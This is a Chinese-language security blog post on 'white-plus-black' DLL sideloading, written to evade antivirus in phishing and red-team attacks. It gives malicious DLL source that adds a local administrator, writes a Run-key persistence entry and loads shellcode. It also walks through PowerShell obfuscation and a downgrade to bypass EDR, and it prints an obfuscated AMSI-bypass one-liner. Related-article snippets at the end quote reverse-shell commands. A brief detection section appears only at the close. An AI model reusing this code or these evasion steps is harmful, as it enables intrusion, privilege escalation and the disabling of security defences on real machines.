免杀|白加黑的初步探究

VSole2023-04-24 09:42:18

0X00前言


为什么我们需要白加黑这种攻击方法呢?答:降本增效,我们知道在以后AI+安全崛起的大背景下,社工将会成为攻防演练项目中,成本最低,效率最高的一种攻击方式,而这个时候"白加黑"的成本优势就体现的淋漓尽致了。

那什么是白加黑呢?答:白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数(或者找一个已有的DLL注入恶意代码)来加载DLL文件。当目标尝试执行该文件(注意:不是执行受恶意的DLL文件)时,这个白文件会在应用程序加载时加载恶意的DLL。目标只要加载包含恶意代码的文件,攻击者就可以访问目标计算机了。

小提示:代码只是参考,不一定可以运行哟!!!

0X01起源


在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这个时候我们要么花费巨额资金去购买"签名",要么针对杀软当中的白名单进行研究与利用。

这个时候有人会说,怎么去利用白名单呢?答:攻击者利用了微软Windows应用程序加载DLL文件的方式。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法(即,利用白文件加载恶意的动态链接库 (DLL) )。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。

我们通过构造"白加黑"可以达到如下的目的:

运行文件,达到执行敏感命令的目的(eg:执行MS系列POC、将Mimikatz变为shellcode执行....)
运行文件,达到权限提升的目的(eg:添加net user创建新用户.....)
运行文件,达到权限维持的目的(eg:添加新的注册表)......

补充:360、天擎为代表的杀软也会对一些微软签名的Windows工具和.exe文件进行标记,例如:PuDump、Rundll32、Msbuild.....所以,攻击者需要实时更新自己的DLL白名单,不然免杀效果很可能失效。

运行文件,达到执行敏感命令的目的
/*DLL劫持运行编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/
#include #pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {    switch (ul_reason_for_call)  {    case DLL_PROCESS_ATTACH:      MessageBox(        NULL,        "hello world!",        MB_OK      );      break;    case DLLPROCESSDETACH:      break;    case DLLTHREADATTACH:      break;    case DLLTHREADDETACH:      break;    }    return TRUE;}

也许最简单的纠正措施包括确保所有软件都安装在受保护的目录C:\Program FilesC:\Program Files (x86). 如果无法在这些地方安装软件,那么下一个最简单的步骤就是保证只有管理用户对安装目录具有“创建”或“写入”权限,以防止攻击者安装恶意 DLL 从而破坏漏洞。

运行文件,达到权限提升的目的
/*DLL权限提升编译(Linux)对于x64编译:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll对于x86编译:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll*/
#include 
BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {    switch (ul_reason_for_call)  {    case DLL_PROCESS_ATTACH:      system("powershell.exe /k net localgroup administrators user /add");      break;    case DLLPROCESSDETACH:      break;    case DLLTHREADATTACH:      break;    case DLLTHREADDETACH:      break;    }    return TRUE;}
运行文件,达到权限维持的目的
/*DLL权限维持编译(Linux)对于x64编译:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll对于x86编译:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll*/
#include 
BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {    switch (ul_reason_for_call)  {    case DLL_PROCESS_ATTACH:      HKEY hkey = NULL;      const char* exe = "C:\\xxx.exe";      LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);      if (res == ERROR_SUCCESS) {        RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));        RegCloseKey(hkey);      }      break;    case DLLPROCESSDETACH:      break;    case DLLTHREADATTACH:      break;    case DLLTHREADDETACH:      break;    }    return TRUE;}

0X02攻击方式


由上面的文章可以知道,主流的"白加黑"有三种不同的加载方式:

白执行黑DLL
白执行DLL加载shellcode
白加载shellcode

我们知道当程序被编译时,可执行文件的头文件(PE)会将导入表添入其中。而导入表的作用是记住需要从哪个DLL导入哪些函数,所以白文件每次执行程序时,链接器都知道该做什么并自动加载所有必需的库。这时我们就可以通过找到合适的DLL(即,拥有写入权限的),并对其进行修改(即,注入恶意的代码)为恶意的黑DLL。但是如果没有合适的可修改的黑DLL,我们又想在运行时候让白文件加载黑DLL,那么Windows API提供LoadLibrary()LoadLibraryEx()函数就为我们提供了一个新的思路,那就是通过函数构造一个黑DLL,在将DLL的名称导入到导入表中使其在白文件运行的时候执行。以上两种不同的思路,导致了"白加黑"有了两种不同的思路,即可以修改原有的DLL,也可以创造一个黑DLL进行攻击。

这里补充一下,白加载shellcode就是我们所说的无文件落地免杀!我们首先讲一讲前面两个在国内流行的"白加黑"的方法吧,关于无文件落地下一段再说。

白加黑通用流程
  1. 寻找合适的白文件(eg:)

>

提示:建议手工查找,脚本准确几率不高!!
2.检查文件夹权限,查看是否有写入权限,如果有可以考虑直接修改,反之则考虑通过LoadLibrary函数创建一个新的黑DLL
提示:我们知道Windows系统会按照预先确定的顺序查找相关库的位置。又因为DLL的执行顺序:加载应用程序的目录===>系统目录C:\Windows\System32===>系统目录C:\Windows\System===>Windows 目录 C:\Windows===>当前工作目录===>PATH 环境变量定义的目录;所以我们可以按照如下图所示的顺序进行DLL的搜索,并通过工具确定合适的DLL。
白执行黑DLL

关于这个方法我们根据选择的白文件的DLL的特点,进行合理的修改!首先我们可以利用库引用在白文件的上下文中执行代码。如果文件允许LoadLibrary函数动态解析库的路径,那么该文件也会在当前目录中查找库DLL。我们通过将"白加黑"复制到具有写入权限的目录即可。如果我们需要创建自定义的黑DLL,那么白文件将加载黑DLL并执行恶意的代码。而且,我们寻找的白文件大多会有签名并通过了杀软的信任,使得我们的攻击成功几率大大增加。

黑DLL的代码演示(如下图所示):


/*DLL执行DLL的命令编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/
# include "pch.h"# include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLLPROCESSATTACH:  system("calc"); case DLLTHREADATTACH:  case DLLTHREADDETACH:  break; } return TRUE;}

不满足所有导出的 DLL 劫持,在 C/C++ 中编写有效负载 DLL 时,可能会劫持DllMain中的控制流。执行此操作时,没有必要枚举和满足所有需要的导出,即可能存在 DLL 没有任何导出并且只能通过 DllMain 入口点被劫持的情况。

白执行DLL加载shellcode

我们也可以通过构造恶意的黑DLL,并在其中运行shellcode,达到命令执行的效果,来绕过360和天擎的检测。

黑DLL加载shellcode的代码演示(如下图所示):


/*DLL执行DLL的命令编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/#include #include #include // 加载的shellcoder(弹calc) 64-bitunsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9,  };
extern "A" __declspec(dllexport) void Go(void) {    void * exec_mem;    BOOL rv;    HANDLE th;    DWORD oldprotect = 0;    unsigned int payload_len = sizeof(payload);    exec_mem = VirtualAlloc(1, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    RtlMoveMemory(exec_mem, payload, payload_len);    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);    WaitForSingleObject(th, -1);}BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ulreason_forcall, LPVOID lpReserved) {    switch (ul_reason_for_call)  {    case DLL_PROCESS_ATTACH:        break;    }    return TRUE;}

0X03无文件落地


内存(asmi)/行为(edr)检测

我们知道一旦启用Powershell,就会导致微软的Defender调用ASMI接口,进行检测。但是我们要注意,其实在启动Powershell的时候,asmi.exe就已经被注入到powershell.exe的进程当中了,所以Defender才可以通过ASMI的函数去检测恶意行为。又因为某些原因Powershell无文件落地免杀在国内其实不太流行,因为360\天擎一旦发现Powershell运行一些敏感函数就会标记直接拦截,导致执行失败,但是它却可绕过火绒等杀软。

Powershell混淆

Invoke-Obfuscation是一个兼容PowerShellv2.0+的PowerShell命令和脚本混淆器(github地址:https://github.com/danielbohannon/Invoke-Obfuscation),我们可以使用Invoke-Obfuscation来混淆/加密恶意的PowerShell脚本,使得PowerShell脚本逃避杀软的检测,原理是代码是在解释器中执行的,并很难检测代码本质上是否存在恶意代码。

  1. 第一步将涉及创建恶意PowerShell脚本并将其保存,沙箱检测如下所示:
  2. 创建并保存恶意PowerShell脚本后,打开混淆工具,我们可以通过在Invoke-Obfuscate提示符中运行以下命令来完成:
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
  1. 然后指定脚本路径,系统将提示您使用混淆方法菜单,如下所示:
set scriptpath xxxx.ps1

  1. 这时,我们可以选择合适混淆方法,通过在Invoke-Obfuscate提示符中运行命令来选择此选项:
token
all

>

5.最后,输出混淆后的.ps1脚本
1
out xxx.ps1
我们已经能够成功地混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您也可以使用Invoke-Obfuscate来混淆或编码单个PowerShell命令。建议有能力的进行二次开发,除去加密的特征值,免杀效果更好。

注意:使用的目标应该能够执行PowerShell脚本,否则,我们将无法执行混淆/编码的PowerShell脚本。

当然也可以利用

绕过EDR

为了防止我们被edr发现,我们需要针对Powershell进行"降低版本"的操作,如果你有能力降级到 Powershell 2.0,这可以让你绕过该ConstrainedLanguage模式。虽然效果不错,但是如果edr对版本进行标记,依然会导致异常。

$ExecutionContext.SessionState.LanguageMode
Powershell
$ExecutionContext.SessionState.LanguageMode
Powershell -version 2

小提示:Win10及以上版本可能需要安装Powershell 2版本才可以进行利用!

ASMI免杀处理

为了做好Powershell的免杀,我们针对内存规避有着以下的手段:

专注于内存操作,不将文件写入磁盘
通过利用各种Windows API将有效负载注入进程
然后在存储器中的单独线程中执行有效载荷

但是ASMI依然对Powershell的免杀有着致命的打击,所以需要我们针对Powershell的ASMI免杀做出特定的研究。

利用常见方法绕过
使用XOR等加密方法来绕过AMSI,并在运行时将字符串解码回内存
通过阻断ASMI.dll中AmsiScanBuffer()函数的扫描进程
修改注册表,将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值更改为0
利用网站混淆绕过

#Matt Graebers second Reflection method 
$wfSi=$null;$hlrajhy="$([char](30+53)+[cHaR]([byte]0x79)+[CHar]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](101*20/20)+[chaR](109*46/46)).$([CHaR](65+12)+[chAR](97+89-89)+[CHAR]([byTE]0x6e)+[cHAR]([bYte]0x61)+[char]([ByTe]0x67)+[ChAR](101)+[CHAR]([byTe]0x6d)+[cHaR]([bytE]0x65)+[chAr]([ByTe]0x6e)+[cHar](116)).$(('Ãutômát'+'íón').NOrmAlizE([chaR](33+37)+[cHAR](111)+[ChAR]([BYTE]0x72)+[CHAr](109+28-28)+[CHar](68)) -replace [chaR](92+71-71)+[cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE]0x6e)+[ChaR](125+53-53)).$(('Âms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr](24+90)+[chAR](22+87)+[cHar](68+36-36)) -replace [cHAR]([bYTe]0x5c)+[Char](112+50-50)+[chAr]([bYtE]0x7b)+[CHar](77)+[cHAr]([byTE]0x6e)+[CHar]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'ã').NormALize([CHaR](70+47-47)+[ChaR](111)+[cHaR]([BYtE]0x72)+[cHAR]([ByTe]0x6d)+[CHAR](68*53/53)) -replace [CHAr]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b)+[chaR](77)+[cHaR](110+87-87)+[chAR](125*25/25)";[Threading.Thread]::Sleep(1085);[Runtime.InteropServices.Marshal]::("$([cHAR]([ByTe]0x57)+[char](114)+[Char]([byte]0x69)+[ChAR](116)+[chAR]([byte]0x65)+[ChAR](73+49-49)+[chAr](110+78-78)+[chAR]([BYte]0x74)+[CHar]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType($hlrajhy).GetField("$(('àmsìC'+'ôntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char](114+75-75)+[CHAr]([ByTE]0x6d)+[CHaR]([byTE]0x44)) -replace [CHar]([BYtE]0x5c)+[cHar](112+67-67)+[CHaR](123+7-7)+[CHar]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($wfSi),0x5762f72c);

网站链接:https://amsi.fail

0X04寻找白文件


人工寻找白文件

通过Procmon进程监视器,显示实时⽂件系统、注册表和进程/线程活动,这⾥我们⽤来观察进程运⾏过程的DLL调⽤。通过设置不同的筛选方式去寻找可以加载的黑DLL。

我们通过运⾏xxx.exe白文件对比,寻找是否存在LoadLibrary函数,如果存在,我们可以直接构造一个恶意黑DLL。

反之,我们就需要劫持不存在的DLL。

自动化挖掘白文件

https://github.com/cyberark/DLLSpy

DLLSpy.exe -x
-d:强制,扫描加载的模块。
-o:指定输出文件。
-s:静态扫描,寻找缺失的DLL和二进制文件中的DLL
-r :递归扫描,number是递归的深度

https://github.com/dragoneeg/bDLL

执行:python DllJacking_Python.py 目标文件夹地址


虽然高效,误报高,准确度低!

也可以去网站搜索 (网站地址:https://hijacklibs.net/)

0X05检测和预防措施


我也收集了关于白加黑的部分预防和检测方法,并分享在下文当中。该分享将白加黑攻击分解为软件开发级别的预防措施,并提出了针对端点用户级别的建议。如上提及的一些检测方法:

检查具有异常网络连接的进程,且给定进程的网络活动已变得与基线不同,则该进程可能已受到损害
DLL权限,针对具有LoadLibrary()函数的DLL进行限制
DLL白名单,即跟踪系统上使用的DLL的哈希值以识别差异

但是这些检测方法难以大范围实施,虽然可以利用,但是成本过于高昂。这就是为什么"白加黑"仍然有效并在攻防演练当中运用的原因。该恶意攻击方式存在的根本问题与软件开发人员密切相关。所以希望本文能被更多开发人员看见,已减少攻击者用其攻击手段。

免杀白加黑
本作品采用《CC 协议》,转载必须注明作者和本文链接
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用""这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行文件时,该文件会在运行时执行恶意DLL。
前言之前hvv的时候有条件钓鱼的情况下也没有想着去尝试,一方面是的工作没准备好。2022.11.15:花了几天写了这个,但是发现对于钓鱼的话效果其实还是不行,所以这篇就单纯记录下了,的方式还是更适合做权限维持,这篇笔记仅供大家参考0X00????启动为了更好的起到和适配环境原因,所以启动的四步操作均通过汇编来进行实现,之后各个语言只需要通过shellcode加载器进行加载这段shellcode即可python shellcode loaderimport ctypesimport sys
近期,火绒威胁情报系统监测到一款后门病毒正在快速传播,被激活后会通过远程服务器下载多个恶意文件并获取远端恶意代码,随后客可以进行截取受害者屏幕图像、远程控制受害者电脑等各种恶意操作。目前,火绒安全产品可对上述病毒进行拦截查杀,请用户及时更新病毒库以进行防御。后面有可直接使用的域名信息,称其为字符串区。本次下发的恶意代码进行了包括屏幕截图,注册表读取,保持回连等操作。
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
国家级APT(Advanced Persistent Threat,高级持续性威胁)组织是有国家背景支持的顶尖客团伙,专注于针对特定目标进行长期的持续性网络攻击。 奇安信旗下的高级威胁研究团队红雨滴(RedDrip Team)每年会发布全球APT年报【1】、中报,对当年各大APT团伙的活动进行分析总结。 虎符智库特约奇安信集团旗下红雨滴团队,开设“起底国家级APT组织”栏目,逐个起底全球各地
系统安全第37篇继续介绍APT相关知识,希望您喜欢
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。centos执行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的python windows正向连接后门。这样会把目标机的/bin/bash反弹给攻击机但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式.PHP攻击机监听nc -lvvp 4444. 要求目标机器有php然后执行php -r '$sock=fsockopen;exec;'. 加载64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
在此提醒广大用户,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行夸张标题的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。
在2022攻防演练期间,红雨滴云沙箱以其出色的分析对抗能力被众多用户青睐。演练期间,与攻击相关的样本在云沙箱的投递次数超过了10,000次。为此,我们针对这些疑似恶意的样本进行了专门的分析和研究。
VSole
网络安全专家